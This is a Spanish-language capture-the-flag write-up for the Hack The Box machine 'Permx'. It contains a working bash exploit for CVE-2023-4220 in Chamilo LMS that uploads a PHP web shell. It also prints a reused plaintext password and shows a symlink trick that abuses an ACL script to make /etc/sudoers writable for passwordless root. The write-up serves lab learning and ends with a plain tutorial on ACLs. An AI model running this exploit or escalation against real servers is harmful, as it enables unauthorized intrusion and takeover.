Permx

Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
---|---|---|---|
Linux | Easy | 06 Julio 2024 | mtzsec |
Reconocimiento
Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Enumeración inicial
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
nmap -sS -p- --open --min-rate 5000 -Pn -n 10.10.11.23 -oG open_ports -vvv
Lanzamos una serie de script básicos de enumeración propios de nmap
, para conocer la versión y servicio que esta corriendo bajo los puertos.
nmap -sCV -p22, -oN service_scan -vvv
Enumeración de servicios
echo '10.10.11.23 permx.htb' >> /etc/hosts
echo '10.10.11.23 lms.permx.htb' >> /etc/hosts
Chamilo es un sistema de gestión de aprendizaje o LMS, diseñado para apoyar a la educación en línea. Es una plataforma de software libre escrita en PHP, cuyo propósito es mejorar la educación y su acceso a ella a nivel mundial.
Si realizamos una busqueda en el repositorio, encontramos el path /documentation/change.log
el cual nos permite conocer la versión de la aplicación. En este caso, la versión que se esta ejecutando es la versión 1.11.24
.
http://lms.permx.htb/documentation/changelog.html
Si realizamos una búsqueda en Google, encontramos que esta versión del software es vulnerable a RCE, ejecución remota de código de archivos no autenticados en la biblioteca “Big Upload”.
CVE-2023-4220
La carga de archivos sin restricciones en la funcionalidad de carga de archivos grandes en
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
en Chamilo LMS <= v1.11.24 permite a atacantes no autenticados realizar ataques de cross-site scripting almacenados y obtener la ejecución remota de código mediante la carga de un web shell.
https://vulners.com/nuclei/NUCLEI:CVE-2023-4220
#!/bin/bash
HOST='http://lms.permx.htb'
CMD='id'
URL_UPLD='main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
URL_FILE='main/inc/lib/javascript/bigupload/files/rce.php'
cat <<'EOF'>/tmp/rce.php
<?php
$a=popen(base64_decode($_REQUEST["aoOoy"]),'r');while($b=fgets($a,2048)){echo $b;ob_flush();flush();}pclose($a);
?>
EOF
curl -F 'bigUploadFile=@/tmp/rce.php' "$HOST/$URL_UPLD"
CMD=$(echo $CMD|base64 -w0| python3 -c "import urllib.parse,sys; print(urllib.parse.quote_plus(sys.stdin.read()))")
curl "$HOST/$URL_FILE?aoOoy=$CMD"
PoC
Explotación inicial
Creamos una reverse shell para ganar acceso al sistema.
Nos ponemos en escucha con netcat.
nc -nlvp 443
Ejecutamos el exploit.
Ganamos acceso al sistema.
Enumeración / Movimiento lateral
www-data -> mtz
Si realizamos una enumeración en el sistema, encontramos un archivo de configuración de Chamilo, el cual tiene las credenciales de la base de datos. Podríamos probar conectarnos a la base de datos, pero en lugar de eso probamos la contraseña para conectarnos con el usuario mtz
para comprobar si existe reutilización de contraseña.
mtz:03F6lY3uXAP2bkW8
Leemos el flag de user.txt
Elevación de privilegios
Este script en Bash se utiliza para modificar los permisos de acceso a un archivo específico para un usuario determinado utilizando ACL (Access Control List).
Para escalar nuestros privilegios haremos lo siguiente.
- Crear un enlace simbólico
Podemos usar un enlace simbólico para apuntar a un archivo crítico o crear un script malicioso. En este caso, intentaremos cambiar los permisos de /etc/sudoers
para permitir cualquier comando sin contraseña.
ln -s /etc/sudoers /home/mtz/myfile
- Ejecutar el script con sudo
Ejecuta el script usando sudo para cambiar los permisos del archivo simbólico:
sudo /opt/acl.sh mtz rw /home/mtz/myfile
- Modificar
/etc/sudoers
Ahora que tenemos permisos de escritura en /etc/sudoers
, podemos agregar una entrada para permitirte ejecutar cualquier comando sin contraseña.
vim /home/mtz/myfile
Agrega la siguiente línea al final del archivo:
mtz ALL=(ALL) NOPASSWD: ALL
Obtener una shell root
sudo -i
Leemos el flag de root.txt
.
Extras
Las ACLs (Listas de Control de Acceso) proporcionan un mecanismo más flexible y detallado para especificar permisos sobre archivos y directorios en sistemas de archivos, comparado con el sistema tradicional de permisos UNIX (propietario, grupo, otros).
Función de las ACLs
- Permitir permisos detallados:
-
ACLs permiten definir permisos específicos para múltiples usuarios y grupos no limitados al propietario, grupo y otros.
-
Especificar permisos adicionales:
- Además de los permisos básicos de lectura (r), escritura (w) y ejecución (x), las ACLs pueden incluir permisos más detallados y específicos para diferentes usuarios y grupos.
Componentes principales de las ACLs
- Entradas de ACL (ACE):
-
Cada ACL está compuesta de una serie de ACEs (Access Control Entries), donde cada ACE define permisos para un usuario o grupo específico.
-
Tipos de entradas:
- User: Permisos para un usuario específico.
- Group: Permisos para un grupo específico.
- Mask: Permisos efectivos que se aplican a las entradas de usuario y grupo.
- Other: Permisos para todos los demás usuarios.
Comandos principales para gestionar ACLs
-
setfacl:
-
setfacl
se utiliza para establecer ACLs en archivos y directorios. Por ejemplo, para conceder permisos de lectura y escritura a un usuario específico:
setfacl -m u:usuario:rw archivo
-
getfacl:
-
getfacl
se utiliza para visualizar las ACLs actuales de un archivo o directorio:
getfacl archivo
Ejemplo de uso
Supongamos que tienes un archivo documento.txt
y quieres otorgar permisos de lectura y escritura a un usuario llamado juan
y permisos de solo lectura a un grupo llamado proyecto
.
- Agregar permisos para el usuario
juan
:
setfacl -m u:juan:rw documento.txt
- Agregar permisos para el grupo
proyecto
:
setfacl -m g:proyecto:r documento.txt
- Verificar las ACLs actuales del archivo:
getfacl documento.txt
Ventajas de las ACLs
- Mayor flexibilidad:
-
Permite una configuración más granular de los permisos en comparación con el modelo tradicional de UNIX.
-
Facilidad de administración:
- Facilita la administración de permisos para archivos y directorios compartidos por múltiples usuarios y grupos.
Desventajas de las ACLs
- Complejidad adicional:
-
Introduce un nivel adicional de complejidad en la administración de permisos.
-
Compatibilidad:
- No todos los sistemas de archivos o versiones de sistemas operativos soportan ACLs de manera nativa.
En resumen, las ACLs son una herramienta poderosa para gestionar permisos en sistemas de archivos, permitiendo un control mucho más detallado y flexible sobre quién puede acceder a qué archivos y directorios y con qué tipo de permisos.